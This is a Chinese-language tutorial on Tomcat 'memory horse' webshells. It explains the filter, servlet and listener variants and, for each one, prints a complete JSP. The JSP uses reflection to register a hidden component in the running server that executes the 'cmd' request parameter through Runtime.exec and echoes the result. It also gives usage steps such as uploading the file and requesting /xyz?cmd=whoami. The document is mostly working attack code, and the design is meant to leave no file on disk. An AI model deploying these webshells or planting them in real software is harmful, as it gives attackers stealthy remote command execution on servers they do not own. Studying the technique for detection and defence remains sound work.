tomcat無文件內存webshell
filter型
servlet型
listener型
執行優先級是listener -> filter -> servlet
filter型內存馬原理
filter是javaweb中的過濾器,會對客戶端發送的請求進行過濾并做一些操作,我們可以在filter中寫入命令執行的惡意文件,讓客戶端發來的請求通過它來做命令執行。
而filter內存馬是通過動態注冊一個惡意filter,由于是動態注冊的,所以這個filter沒有文件實體,存在于內存中,隨著tomcat重啟而消失。
一般我們把這個filter放在所有filter最前面優先執行,這樣我們的請求就不會受到其他正常filter的干擾。
ServletContext
需要動態注冊filter就需要幾個添加filter相關的函數,ServletContext恰好可以滿足這個條件
javax.servlet.ServletContext
ServletContext的方法中有addFilter、addServlet、addListener方法,即添加Filter、Servlet、Listener
獲取ServletContext的方法
this.getServletContext(); this.getServletConfig().getServletContext();
ApplicationContext
在Tomcat中org.apache.catalina.core.ApplicationContext中包含一個ServletContext接口的實現
所以需要import這個庫,最后我們用到它獲取Context
<%@ page import = "org.apache.catalina.core.ApplicationContext" %>
filter相關變量
filterMaps變量:包含所有過濾器的URL映射關系
filterDefs變量:包含所有過濾器包括實例內部等變量
filterConfigs變量:包含所有與過濾器對應的filterDef信息及過濾器實例,進行過濾器進行管理
1 <%@ page import = "org.apache.catalina.core.ApplicationFilterConfig" %> 在tomcat不同版本需要通過不同的庫引入FilterMap和FilterDef
<!-- tomcat 7 --> <%@ page import = "org.apache.catalina.deploy.FilterMap" %> <%@ page import = "org.apache.catalina.deploy.FilterDef" %> <!-- tomcat 8/9 --> <%@ page import = "org.apache.tomcat.util.descriptor.web.FilterMap" %> <%@ page import = "org.apache.tomcat.util.descriptor.web.FilterDef" %>
filter型內存馬實現
filter部分
先通過一個簡單的filter來看一下結構
package filter;
import javax.servlet.*;
import java.io.IOException;
public class filterDemo implements Filter {
public void init(FilterConfig filterConfig) throws ServletException {
System.out.println("init filter");
}
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
System.out.println("exec filter");
filterChain.doFilter(servletRequest,servletResponse);
}
public void destroy() {}
}
filterDemo中有init、doFilter、destroy三個重要方法
init()方法:初始化參數,在創建Filter時自動調用,當我們需要設置初始化參數的時候,可以寫到該方法中。 doFilter()方法:攔截到要執行的請求時,doFilter就會執行。這里面寫我們對請求和響應的預處理 destory()方法:在銷毀Filter時自動調用
對我們來說,init和destory不需要做什么,只需要寫一個doFilter方法攔截需要的請求,將其參數用于Runtime.getRuntime().exec()做命令執行,并將返回的數據打印到Response中即可,如下例:
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
String cmd = servletRequest.getParameter("cmd");
if (cmd!= null) {
Process process = Runtime.getRuntime().exec(cmd);
java.io.BufferedReader bufferedReader = new java.io.BufferedReader(
new java.io.InputStreamReader(process.getInputStream()));
StringBuilder stringBuilder = new StringBuilder();
String line;
while ((line = bufferedReader.readLine()) != null) {
stringBuilder.append(line + '\n');
}
servletResponse.getOutputStream().write(stringBuilder.toString().getBytes());
servletResponse.getOutputStream().flush();
servletResponse.getOutputStream().close();
return;
}
filterChain.doFilter(servletRequest, servletResponse);
}
動態注冊部分
filter部分寫好,下一步就是實現將其注入到內存中
//從org.apache.catalina.core.ApplicationContext反射獲取context方法
ServletContext servletContext = request.getSession().getServletContext();
Field appctx = servletContext.getClass().getDeclaredField("context");
appctx.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);
Field stdctx = applicationContext.getClass().getDeclaredField("context");
stdctx.setAccessible(true);
StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);
Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");
Configs.setAccessible(true);
Map filterConfigs = (Map) Configs.get(standardContext);
String name = "filterDemo";
//判斷是否存在filterDemo這個filter,如果沒有則準備創建
if (filterConfigs.get(name) == null){
//定義一些基礎屬性、類名、filter名等
filterDemo filter = new filterDemo();
FilterDef filterDef = new FilterDef();
filterDef.setFilterName(name);
filterDef.setFilterClass(filter.getClass().getName());
filterDef.setFilter(filter);
//添加filterDef
standardContext.addFilterDef(filterDef);
//創建filterMap,設置filter和url的映射關系,可設置成單一url如/xyz ,也可以所有頁面都可觸發可設置為/*
FilterMap filterMap = new FilterMap();
// filterMap.addURLPattern("/*");
filterMap.addURLPattern("/xyz");
filterMap.setFilterName(name);
filterMap.setDispatcher(DispatcherType.REQUEST.name());
//添加我們的filterMap到所有filter最前面
standardContext.addFilterMapBefore(filterMap);
//反射創建FilterConfig,傳入standardContext與filterDef
Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);
constructor.setAccessible(true);
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext, filterDef);
//將filter名和配置好的filterConifg傳入
filterConfigs.put(name,filterConfig);
out.write("Inject success!");
}
else{
out.write("Injected!");
}
完整內存馬
最終jsp文件,只需傳到tomcat目錄并訪問一次,然后再訪問其jsp文件../xyz?cmd=whoami即可
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import = "org.apache.catalina.Context" %>
<%@ page import = "org.apache.catalina.core.ApplicationContext" %>
<%@ page import = "org.apache.catalina.core.ApplicationFilterConfig" %>
<%@ page import = "org.apache.catalina.core.StandardContext" %>
<!-- tomcat 8/9 -->
<!-- page import = "org.apache.tomcat.util.descriptor.web.FilterMap"
page import = "org.apache.tomcat.util.descriptor.web.FilterDef" -->
<!-- tomcat 7 -->
<%@ page import = "org.apache.catalina.deploy.FilterMap" %>
<%@ page import = "org.apache.catalina.deploy.FilterDef" %>
<%@ page import = "javax.servlet.*" %>
<%@ page import = "java.io.IOException" %>
<%@ page import = "java.lang.reflect.Constructor" %>
<%@ page import = "java.lang.reflect.Field" %>
<%@ page import = "java.util.Map" %>
<%
class filterDemo implements Filter {
@Override
public void init(FilterConfig filterConfig) throws ServletException {
}
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
String cmd = servletRequest.getParameter("cmd");
if (cmd!= null) {
Process process = Runtime.getRuntime().exec(cmd);
java.io.BufferedReader bufferedReader = new java.io.BufferedReader(
new java.io.InputStreamReader(process.getInputStream()));
StringBuilder stringBuilder = new StringBuilder();
String line;
while ((line = bufferedReader.readLine()) != null) {
stringBuilder.append(line + '\n');
}
servletResponse.getOutputStream().write(stringBuilder.toString().getBytes());
servletResponse.getOutputStream().flush();
servletResponse.getOutputStream().close();
return;
}
filterChain.doFilter(servletRequest, servletResponse);
}
@Override
public void destroy() {
}
}
%>
<%
//從org.apache.catalina.core.ApplicationContext反射獲取context方法
ServletContext servletContext = request.getSession().getServletContext();
Field appctx = servletContext.getClass().getDeclaredField("context");
appctx.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);
Field stdctx = applicationContext.getClass().getDeclaredField("context");
stdctx.setAccessible(true);
StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);
Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");
Configs.setAccessible(true);
Map filterConfigs = (Map) Configs.get(standardContext);
String name = "filterDemo";
//判斷是否存在filterDemo1這個filter,如果沒有則準備創建
if (filterConfigs.get(name) == null){
//定義一些基礎屬性、類名、filter名等
filterDemo filter = new filterDemo();
FilterDef filterDef = new FilterDef();
filterDef.setFilterName(name);
filterDef.setFilterClass(filter.getClass().getName());
filterDef.setFilter(filter);
//添加filterDef
standardContext.addFilterDef(filterDef);
//創建filterMap,設置filter和url的映射關系,可設置成單一url如/xyz ,也可以所有頁面都可觸發可設置為/*
FilterMap filterMap = new FilterMap();
// filterMap.addURLPattern("/*");
filterMap.addURLPattern("/xyz");
filterMap.setFilterName(name);
filterMap.setDispatcher(DispatcherType.REQUEST.name());
//添加我們的filterMap到所有filter最前面
standardContext.addFilterMapBefore(filterMap);
//反射創建FilterConfig,傳入standardContext與filterDef
Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);
constructor.setAccessible(true);
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext, filterDef);
//將filter名和配置好的filterConifg傳入
filterConfigs.put(name,filterConfig);
out.write("Inject success!");
}
else{
out.write("Injected!");
}
%>
使用示例

如果在當前web根目錄則不需要尋找上一級目錄

Servlet型內存馬實現 Servlet部分 一個簡單的servlet
public class ServletDemo implements Servlet {
//當Servlet第一次被創建對象時執行該方法,該方法在整個生命周期中只執行一次
public void init(ServletConfig arg0) throws ServletException {
System.out.println("init");
}
//對客戶端響應的方法,該方法會被執行多次,每次請求該servlet都會執行該方法
public void service(ServletRequest servletRequest, ServletResponse servletResponse) throws ServletException, IOException {
System.out.println("service");
}
//當Servlet被銷毀時執行該方法
public void destroy() {
System.out.println("destroy");
}
//當停止tomcat時銷毀servlet。
public ServletConfig getServletConfig() {
return null;
}
public String getServletInfo() {
return null;
}
}
類比filter,在filter型中我們需要在doFilter方法中填入惡意代碼
在servlet中,我們需要在service方法中填入惡意代碼,每次訪問就會觸發命令執行。
在service填入RuntimeExec和回顯的部分,這個servlet就變成了進行命令執行的木馬
class ServletDemo implements Servlet{
@Override
public void init(ServletConfig config) throws ServletException {}
@Override
public String getServletInfo() {return null;}
@Override
public void destroy() {} public ServletConfig getServletConfig() {return null;}
@Override
public void service(ServletRequest servletRequest, ServletResponse servletResponse) throws ServletException, IOException {
String cmd = servletRequest.getParameter("cmd");
if (cmd != null) {
Process process = Runtime.getRuntime().exec(cmd);
java.io.BufferedReader bufferedReader = new java.io.BufferedReader(
new java.io.InputStreamReader(process.getInputStream()));
StringBuilder stringBuilder = new StringBuilder();
String line;
while ((line = bufferedReader.readLine()) != null) {
stringBuilder.append(line + '\n');
}
servletResponse.getOutputStream().write(stringBuilder.toString().getBytes());
servletResponse.getOutputStream().flush();
servletResponse.getOutputStream().close();
return;
}
}
}
動態注冊部分
獲取context部分與filter中相同,仍然從org.apache.catalina.core.ApplicationContext反射獲取
ServletContext servletContext = request.getSession().getServletContext();
Field appctx = servletContext.getClass().getDeclaredField("context");
appctx.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);
Field stdctx = applicationContext.getClass().getDeclaredField("context");
stdctx.setAccessible(true);
StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);
然后這次需要將上文寫的servlet封裝成wrapper再使用context添加
//將惡意servlet封裝成wrapper添加到StandardContext的children當中
ServletDemo demo = new ServletDemo();
org.apache.catalina.Wrapper demoWrapper = standardContext.createWrapper();
demoWrapper.setName("xyz");
demoWrapper.setLoadOnStartup(1);
demoWrapper.setServlet(demo);
demoWrapper.setServletClass(demo.getClass().getName());
standardContext.addChild(demoWrapper);
//設置ServletMap將訪問的URL和wrapper進行綁定
standardContext.addServletMapping("/xyz", "xyz");
out.println("inject servlet success!");
servlet型的內存馬無法使所有請求都經過惡意代碼,只有訪問我們設定的url才能觸發
完整內存馬
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import = "org.apache.catalina.core.ApplicationContext"%>
<%@ page import = "org.apache.catalina.core.StandardContext"%>
<%@ page import = "javax.servlet.*"%>
<%@ page import = "java.io.IOException"%>
<%@ page import = "java.lang.reflect.Field"%>
<%
class ServletDemo implements Servlet{
@Override
public void init(ServletConfig config) throws ServletException {}
@Override
public String getServletInfo() {return null;}
@Override
public void destroy() {} public ServletConfig getServletConfig() {return null;}
@Override
public void service(ServletRequest servletRequest, ServletResponse servletResponse) throws ServletException, IOException {
String cmd = servletRequest.getParameter("cmd");
if (cmd != null) {
Process process = Runtime.getRuntime().exec(cmd);
java.io.BufferedReader bufferedReader = new java.io.BufferedReader(
new java.io.InputStreamReader(process.getInputStream()));
StringBuilder stringBuilder = new StringBuilder();
String line;
while ((line = bufferedReader.readLine()) != null) {
stringBuilder.append(line + '\n');
}
servletResponse.getOutputStream().write(stringBuilder.toString().getBytes());
servletResponse.getOutputStream().flush();
servletResponse.getOutputStream().close();
return;
}
}
}
%>
<%
ServletContext servletContext = request.getSession().getServletContext();
Field appctx = servletContext.getClass().getDeclaredField("context");
appctx.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);
Field stdctx = applicationContext.getClass().getDeclaredField("context");
stdctx.setAccessible(true);
StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);
ServletDemo demo = new ServletDemo();
org.apache.catalina.Wrapper demoWrapper = standardContext.createWrapper();
//設置Servlet名等
demoWrapper.setName("xyz");
demoWrapper.setLoadOnStartup(1);
demoWrapper.setServlet(demo);
demoWrapper.setServletClass(demo.getClass().getName());
standardContext.addChild(demoWrapper);
//設置ServletMap
standardContext.addServletMapping("/xyz", "xyz");
out.println("inject servlet success!");
%>
使用示例

如果在當前web根目錄則不需要尋找上一級目錄

Listener型內存馬原理
Listener是javaweb中的監聽器,監聽某一個java對象的方法調用或屬性改變,當被監聽對象發生上述事件后,監聽器某個方法立即被執行。
Listener內存馬是通過動態注冊一個Listener,其監聽到某個參數傳入時,則將參數用于命令執行,由于是動態注冊的,所以這個Listener沒有文件實體,存在于內存中,隨著tomcat重啟而消失。
Listener型內存馬實現
Listener部分
一個簡單的HttpServletRequestListener示例
class S implements ServletRequestListener{
@Override
public void requestInitialized(ServletRequestEvent servletRequestEvent) {
System.out.println("Initialized.");
}
@Override
public void requestDestroyed(ServletRequestEvent servletRequestEvent) {
System.out.println("Destroyed.");
}
}
在Listener中,我們需要在初始化操作contextInitialized中填入惡意代碼
class S implements ServletRequestListener{
@Override
public void requestDestroyed(ServletRequestEvent servletRequestEvent) {
}
@Override
public void requestInitialized(ServletRequestEvent servletRequestEvent) {
String cmd = servletRequestEvent.getServletRequest().getParameter("cmd");
if(cmd != null){
try {
Runtime.getRuntime().exec(cmd);
} catch (IOException e) {}
}
}
}
動態注冊部分
獲取context部分
ServletContext servletContext = request.getSession().getServletContext();
Field appctx = servletContext.getClass().getDeclaredField("context");
appctx.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);
Field stdctx = applicationContext.getClass().getDeclaredField("context");
stdctx.setAccessible(true);
StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);
添加Listener
S servletRequestListener = new S(); standardContext.addApplicationEventListener(servletRequestListener);
完整內存馬
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="javax.servlet.*" %>
<%@ page import="javax.servlet.annotation.WebServlet" %>
<%@ page import="javax.servlet.http.HttpServlet" %>
<%@ page import="javax.servlet.http.HttpServletRequest" %>
<%@ page import="javax.servlet.http.HttpServletResponse" %>
<%@ page import="java.io.IOException" %>
<%@ page import="java.lang.reflect.Field" %>
<%
class S implements ServletRequestListener{
@Override
public void requestDestroyed(ServletRequestEvent servletRequestEvent) {
}
@Override
public void requestInitialized(ServletRequestEvent servletRequestEvent) {
String cmd = servletRequestEvent.getServletRequest().getParameter("cmd");
if(cmd != null){
try {
Runtime.getRuntime().exec(cmd);
} catch (IOException e) {}
}
}
}
%>
<%
ServletContext servletContext = request.getSession().getServletContext();
Field appctx = servletContext.getClass().getDeclaredField("context");
appctx.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);
Field stdctx = applicationContext.getClass().getDeclaredField("context");
stdctx.setAccessible(true);
StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);
S servletRequestListener = new S();
standardContext.addApplicationEventListener(servletRequestListener);
out.println("inject success");
%>
使用示例

如果在當前web根目錄則不需要尋找上一級目錄
